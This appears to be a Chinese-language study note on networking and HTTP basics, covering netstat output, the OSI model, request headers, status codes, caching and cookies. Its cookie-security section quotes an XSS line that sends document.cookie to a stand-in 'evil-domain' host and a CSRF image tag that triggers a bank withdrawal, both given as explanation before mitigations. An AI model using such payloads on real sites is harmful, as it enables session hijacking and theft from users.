通识

网络基础

IP 地址、子网掩码、默认网关、DNS 等。

域名

想知道域名映射的 ip

ping 一下，

比如

ping docs.pageplug.cn

输出结果就可以看到了

代理

执行 netstat 可以显示本地地址和端口、外部地址和端口、协议、状态：

C:\Users\86131>netstat

活动连接


  协议  本地地址          外部地址        状态
  TCP    127.0.0.1:49956        dev:49957              ESTABLISHED
  TCP    127.0.0.1:49957        dev:49956              ESTABLISHED
  TCP    192.168.110.198:54126  113.219.178.241:https  CLOSE_WAIT
  TCP    192.168.110.198:62264  203.119.145.218:https  ESTABLISHED
  TCP    192.168.110.198:62271  20.198.162.76:https    ESTABLISHED
  TCP    192.168.110.198:62314  183.60.15.170:https    ESTABLISHED
  TCP    192.168.110.198:63694  203.107.1.1:http       CLOSE_WAIT
  TCP    192.168.110.198:63695  123.182.51.64:https    CLOSE_WAIT
  TCP    192.168.110.198:64726  49.79.227.161:https    TIME_WAIT
  TCP    192.168.110.198:64729  182.247.225.49:https   ESTABLISHED
  TCP    192.168.110.198:64731  183.47.103.43:36688    TIME_WAIT
  TCP    192.168.110.198:64732  202.89.233.96:https    TIME_WAIT
  TCP    192.168.110.198:64734  144.123.124.3:https    TIME_WAIT
  TCP    192.168.110.198:64735  144.123.124.3:https    TIME_WAIT
  TCP    192.168.110.198:64736  144.123.124.3:https    TIME_WAIT
  TCP    192.168.110.198:64737  144.123.124.3:https    TIME_WAIT
  TCP    192.168.110.198:64738  144.123.124.3:https    TIME_WAIT
  TCP    192.168.110.198:64739  14.116.192.195:44001   ESTABLISHED
  TCP    192.168.110.198:64743  14.116.192.195:44001   ESTABLISHED
  TCP    192.168.110.198:64744  183.60.15.198:https    TIME_WAIT
  TCP    192.168.110.198:64745  180.163.210.217:8081   TIME_WAIT

回环地址

0.0.0.0

要想通过 ip 访问下另一台计算机运行的项目，需要那台机器运行时指定 host 为 0.0.0.0

yarn start --host 0.0.0.0

刷新 dns 缓存

ipconfig /flushdns   # 对于 Windows

网络硬件

包括路由器、交换机、网桥、网卡等设备。

网络协议

包括 TCP/IP、UDP、HTTP、FTP、SMTP 等。

ip

http

初识 http

http （Hyper Text Transfer Protocol），超文本传输协议

首先它是用于应用层的协议，但是它可以在以任何可靠的传输层上使用。

先来认识 OSI 七层模型和 TCP/IP 四层模型

OSI 参考模型和 TCP/IP 模型

OSI（open system interconnetion）开放式系统互联参考模型

OSI 七层网络模型	TCP/IP 四层概念模型	对应网络协议
应用层（Application）	合并成应用层	HTTP、TFTP、FTP、NFS、SMTP、WAIS
表示层（Presentation）		Telnet、Rlogin、SNMP、Gopher
会话层（Session）		SMTP、DNS
传输层（Transport）	传输层	TCP、UDP
网络层（network）	网络层	IP、ICMP、ARP、RARP、AKP、UUCP
数据链路层（Data Link）	合并成数据链路层	FDDI、Ethernet、Arpanet、PDN、SLIP、PPP
物理层（Physical）		IEEE 802.1A、IEEE 802.2~11

补充

数据包一台电脑到另一台电脑的过程：

从上到下逐层封装，从下到上逐层解封

请求

请求报文

请求报文结构如何？

组成结构	包含内容
请求行	请求方法、请求资源路径、http 协议版本
请求头	对客户端环境的描述、客户端请求的主机地址等
请求体	客户端发给服务器的具体数据，比如文件数据

请求行例子

GET /tools.html HTTP/1.1

请求头例子

Host: www.joes-hardware.com   // 客户端想访问的服务器主机地址
User-Agent: Mozilla/4.75 (Win98; U) // 客户端的类型，客户端的软件环境
Accept: text/html, image/gif, image/jpeg   // 客户端所能接收的数据类型
Accept-Language: en   // 客户端的语言环境
Accept-Encoding: gzip   // 客户端支持的数据压缩格式

请求头

request headers

并非所有出现在请求中的 http 首部都属于请求头，比如在post请求中经常出现的content-length实际上是一个代表主体大小的实体头（entity header）

同时，CORS定义了一个叫做 simple header 的集合，它是请求头的一个子集。如果某次请求是只包含 simple header 的话，则被认为是简单请求，不会触发请求预检

举个请求头例子

GET /home.html HTTP/1.1
Host: developer.mozilla.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://developer.mozilla.org/testpage.html
Connection: keep-alive
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 18 Jul 2016 02:36:04 GMT
If-None-Match: "c561c68d0ba92bbeb8b0fff2a9199f722e3a621a"
Cache-Control: max-age=0

这个例子中的字段分别代表什么含义呢？

请求首部字段

首部字段名	说明
Accept	用户代理可处理的媒体类型
Accept-Charset	优先的字符集
Accept-Encoding	优先的内容编码
Accept-Language	优先的语言（自然语言）
Authorization	Web 认证信息
Expect	期待服务器的特定行为
From	用户的电子邮箱地址
Host	请求资源所在服务器
If-Match	比较实体标记（ETag）
If-Modified-Since	比较资源的更新时间
If-None-Match	比较实体标记（与 If-Macth 相反）
If-Range	资源未更新时发送实体 Byte 的范围请求
If-Unmodified-Since	比较资源的更新时间(与 If-Modified-Since 相反)
Max-Forwards	最大传输逐跳数
Proxy-Authorization	代理服务器要求客户端的认证信息
Range	实体的字节范围请求
Referer	对请求中 URI 的原始获取方
TE	传输编码的优先级
User-Agent	HTTP 客户端程序的信

可能你想问：怎么没有Cache-Control这个字段呢？

因为它属于通用首部字段

通用首部字段

首部字段名	说明
Cache-Control	控制缓存的行为
Connection	逐挑首部、连接的管理
Date	创建报文的日期时间
Pragma	报文指令
Trailer	报文末端的首部一览
Transfer-Encoding	指定报文主体的传输编码方式
Upgrade	升级为其他协议
Via	代理服务器的相关信息
Warning	错误通知

请求方式

最常用 2 种

get
post

get

?参数 1&参数 2

由于服务器和浏览器对URL 长度有限制，因此在 URL 后面附带的参数是有限制的，通常不能超过1kb

post

发送给服务器的参数全部放在请求体中
理论上，post 传递的数据量没有限制（具体还得看服务器处理能力）

响应

状态码

http 响应状态码用来表明特定 http 请求是否完成。分 5 大类：

信息响应（100~199）
成功响应（200~299）
重定向响应（300~399）
客户端错误响应（400~499）
服务端错误响应（500~599）

常见状态及含义

状态码	含义
100	continue：服务器已收到请求的一部分，正在等待其余部分
101	switching protocol：请求者已要求服务器切换协议，服务器一确认并准备切换

状态码	含义
200	ok：服务器已成功处理了请求
201	created：该请求已成功并且服务器创建了新的资源
202	accepted：服务器已接收请求，但尚未处理
203	Non-Authoritative Information：服务器已成功处理了请求，但返回的信息可能来自另一个源
204	No Content：服务器成功处理了请求，但没有返回任何内容
205	Reset Content：服务器成功处理了请求，告诉用户代理重置发送此请求的文档？？？？

状态码	含义
300	Multiple Choice：针对请求，服务器可执行多种操作
301	Moved Permanently：请求的资源 URL 已永久更改，在响应中给出了新 URL
302	Found：服务器目前从不同位置的网页响应请求，但这只是临时的（post 变为 get）
303	See Other：指示客户端通过一个 GET 请求在另一个 URL 中获取所请求的资源
304	Not Modified：告诉客户端响应还没有被修改，因此客户端可以继续使用相同的缓存版本的响应
307	Temporary Redirect：与 302 有着相同含义，post 不会变 get

一般地，请求有返回302状态码才是后端重定向，否则是前端处理的

状态码	含义
400	Bad Request：服务器不理解请求的语法（路径或语法错误）
401	Unauthorized：需要身份认证，常用于登陆（合法用户的访问）
403	Forbidden：服务器拒绝请求，与 401 不同，这是非法用户的访问
404	Not Found：找不到请求的资源，请求路径正确，但资源不存在
405	Method Not Allowed：禁用请求中指定的方法，比如 delete
415	Unsupported media type：不支持的媒体类型

状态码	含义
500	Internal Server Error：服务器遇到错误，无法完成请求
501	Not Implemented：服务器不具备完成请求的方法
502	Bad GateWay：服务器作为网关或代理，但从上游服务器得到错误响应
503	Service Unavailable：服务器目前无法使用（超载或停机维护）
504	Gateway Timeout：服务器作为网关或代理，但是没有及时从上游服务器收到请求
505	HTTP Version Not Supported：服务器不支持请求中使用的 http 版本

缓存

常见的 http 缓存只能缓存get 请求响应的资源；

http 缓存都是从第 2 次请求开始的；

第 1 次请求资源时，服务器返回资源，并在 response header 中回传资源的缓存参数；

第 2 次请求时，浏览器判断这些请求参数，命中强缓存就直接 200(不发请求)，否则就把请求参数加到 request header 中传给服务器；

看是否命中协商缓存，命中则返回304，否则服务器返回新的资源；

cookies

出现背景

HTTP 是无状态的：在同一个连接中，两个执行成功的请求之间是没有关系的;

比如在一个电商网站里，用户把某个商品加入到购物车，切换一个页面后再次添加了商品，这两次添加商品的请求之间没有关联，浏览器无法知道用户最终选择了哪些商品。

而使用 HTTP 的头部扩展，HTTP Cookies 就可以解决这个问题;

把cookies 添加到头部中，创建一个会话让每次请求都能共享相同上下文信息，达成相同的状态；

Cookie 使基于无状态的 HTTP 协议记录稳定的状态信息成为了可能。

简介

Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据；

会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上；

通常，它用于告知服务端 两个请求是否来自同一浏览器，如保持用户的登录状态。

应用

会话状态管理（用户登陆状态、购物车、游戏分数、或其它需要记录的信息）
个性化设置（用户自定义设置、主体等）
浏览器行为跟踪（跟踪分析用户行为等）

有两种方法可以确保 cookie 被安全发送，并且不会被意外的参与者或脚本访问：Secure 属性和HttpOnly 属性

不过，敏感信息不应该通过 cookie 传输（明文传输）；

secure 属性可以预防 man-in-the-middle 攻击者的攻击，但是可以访问客户端的人可以读取它；

使用HttpOnly 属性可防止通过js访问cookie值；

会话劫持和 XXS

在 web 应用中，cookie 常用来标记用户或授权会话；

因此，如果 web 应用的 cookie被窃取，可能导致用户的会话收到攻击；

常用窃取 cookie 的方法有 社会工程学 和 应用程序漏洞 进行xxs 攻击；

而设置了HttpOnly 属性的 cookie 由于阻止了 js 对其的访问，而能在一定程度程度上缓解此类攻击；

new Image().src =
  "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

跨站请求伪造（CSRF）

例子：

在不安全的聊天室或论坛上的一张照片，它实际上是一个给你银行服务器发送体现的请求：

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

当你打开了这张图片的 html 页面时，如果你之前已经登陆了你的银行账号并且 cookie 仍然有效（还没有其它验证步骤），你银行里的钱很可能会被自动转走。。。

有一些方法可以阻止类似事件的发生：

对用户输入进行过滤来阻止 XXS；
任何敏感操作都需要确认；
任何敏感信息的 cookie 只能拥有短暂的生命周期；

缺点

浪费用户流量

将 cookie 附加到每一次 http 请求中，有些请求可能不需要携带

明文传输

有一定安全风险

大小限制

4kb

客户端兼容

有些客户端不能自动添加 cookie，还要手动设置

趋势

随着现代浏览器开始支持各种各样的存储方式，cookie 渐渐被淘汰；

服务器指定 cookie 后，浏览器每次请求都会携带 cookie 数据，会带来额外的性能开销（尤其在移动环境下）；

新的浏览器 api 已经允许开发者直接将数据存储到本地，如使用web storage api（本地存储和会话存储）或indexedDB；

网络安全

包括防火墙、VPN、加密、身份验证等。

网络架构

包括局域网 (LAN)、广域网 (WAN)、虚拟私有网络 (VPN)、云网络等。

网络管理

包括网络规划、配置、故障排除、性能监控等。

网络服务

包括 DNS 服务、邮件服务、Web 服务、文件共享服务等。

无线网络

包括 Wi-Fi、蓝牙、移动网络 (3G, 4G, 5G) 等。

网络编程

包括套接字编程、网络 API、网络库等。

疑难杂症

ping 不通要么就是目标主机，要么就是交换机或路由器不处理 ICMP 报文

ping 域名找不到主机，ping ip 却可以

试题

	cookie	sessionStorage	localStorage
生命周期	会话级，如果不设置有效期，存储在内存中；如果设置有效期，存在硬盘里，有效期到自动消失~	会话级	永久，除非主动删除
网络流量	每次都会发送给服务器	不会与服务器通信，纯粹为了保存数据，所以 webStorage 更节省网络流量	同样
大小限制	4kb	5M	5M
安全性	明文传输	WebStorage 不会随着 HTTP header 发送到服务器端，所以安全性相对于 cookie 来说比较高一些，不会担心截获	同样
方便？		WebStorage 提供了一些方法，数据操作比 cookie 方便	同样

76.32/12 匹配的 ip 地址

33.214.12
58.119.74
79.24.11
68.204.11

axios

它帮我们做了两件事：

处理参数的格式
告知请求头数据格式

比如，发一个 post 请求，一般参数会放一个对象里，axios 会使用 stringify 对参数转换；

然后设置请求头里的 contentType 为 JSON，允许发送 json 数据；

通识

网络基础​

域名​

代理​

回环地址​

刷新 dns 缓存​

网络硬件​

网络协议​

ip​

http​

初识 http​

请求​

请求报文​

请求头​

请求首部字段​

通用首部字段​

请求方式​

get​

post​

响应​

状态码​

缓存​

cookies​

出现背景​

简介​

应用​

限制访问 cookie​

会话劫持和 XXS​

跨站请求伪造（CSRF）​

缺点​

趋势​

网络安全​

网络架构​

网络管理​

网络服务​

无线网络​

网络编程​

疑难杂症​

试题​

localstorage sessionstorage cookie 有什么区别​

76.32/12 匹配的 ip 地址​

axios​